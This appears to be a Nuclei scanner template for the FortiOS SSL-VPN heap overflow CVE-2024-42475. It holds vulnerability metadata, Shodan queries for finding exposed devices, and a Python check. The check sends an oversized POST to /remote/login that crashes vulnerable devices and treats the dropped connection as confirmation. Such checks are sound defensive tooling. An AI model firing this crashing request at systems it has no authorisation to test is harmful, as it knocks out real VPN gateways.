1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178
| id: CVE-2024-42475
info: name: Fortinet SSL-VPN - Heap-Based Buffer Overflow author: 0xhaggis,pszyszkowski severity: critical description: | A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests. remediation: | Fixed in: FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15 FortiProxy >= 7.2.2, 7.0.8, 2.0.12 reference: - https: - https: - https: - https: classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-42475 cwe-id: CWE-122 metadata: max-request: 1 vendor: fortinet product: fortios shodan-query: - port:10443 http.favicon.hash:945408572 - cpe:"cpe:2.3:o:fortinet:fortios" - http.html:"/remote/login" "xxxxxxxx" tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
code: - engine: - py - python3
source: | import sys, os, time, socket, ssl PADDING = 0x4141414141414141 PADDING_LEN = 1024*12 CONTENT_LENGTH = b"4294967297"
class SSLVPNExploit: def __init__(self, host, port): self.host = host self.port = port def connect(self): tries = 1 if os.getenv("Scheme") == "https": useSSL = True print("[+] Using SSL/TLS") else: useSSL = False print("[+] Unencrypted connection") while tries <= 6: try: print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n') self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if useSSL == True: ctx = ssl._create_unverified_context() self.socket = ctx.wrap_socket(self.cleartext_socket) else: self.socket = self.cleartext_socket self.socket.settimeout(2.0) self.socket.connect((self.host, self.port))
return self.socket except socket.timeout as e: tries += 1 print("Connection timeout!") continue except Exception as e: print("Unknown error!") print(e) return None return None def check_by_get(self): get_req = bytearray(b"") get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first") if self.connect() == None: print("[!] Error connecting to target") exit(1) try: self.socket.sendall(get_req)
self.socket.settimeout(10) get_buf = self.socket.recv(1048576)
if len(get_buf) == 0: print("Error while sending GET. Protocol mismatch?") return None self.socket.close() return True except socket.timeout as e: print("[>] Target waited for more data.") return False
except Exception as e: print("[>] Target dropped the connection during test GET, which indicates a communication error!") print(e) return None
def is_vulnerable(self): req = bytearray(b"") req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n" req += b"AAAAAAAA"*(PADDING_LEN)
print("[>] Testing to see if target is vulnerable (may take 10 seconds)") if self.connect() == None: print("[!] Error connecting to target") exit(1)
try: # Send the payload. Vuln instances will crash, severing the connection and # causing an exception to be thrown here. self.socket.sendall(req)
# If this read succeeds then the target is probably not vulnerable. # If it times out, then it's also probably not vulnerable. self.socket.settimeout(10) buf = self.socket.recv(1048576)
# If the remote end disconnects without an HTTP response then it's vulnerable. if len(buf) == 0: return True
# Check to see if it has the vendor patch applied if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"): print("[>] Target is patched.") return False # 100% confidence that it's not vulnerable.
# Ok, something weird and unexpected happened. print("[>] An unexpected response (%d bytes) was recieved:" % len(buf)) print("----- BEGIN RESPONSE -----") print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n")) print("----- END RESPONSE -----") self.socket.close() return None
except socket.timeout as e: print("[>] Target waited for more data. Not vulnerable.") return False except Exception as e: print("[>] Target dropped the connection, which indicates a vulnerable device!") print(e) return True
if __name__ == '__main__': host=os.getenv("Host") port=int(os.getenv("Port")) exploit = SSLVPNExploit(host, port) check = exploit.check_by_get()
if check == True: result = exploit.is_vulnerable() if result == None: print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?") exit(2)
if result == True: print("[+] Target appears to be VULNERABLE") exit(0)
else: print("[+] Target is NOT vulnerable") exit(1)
matchers: - type: word words: - "Target appears to be VULNERABLE"
|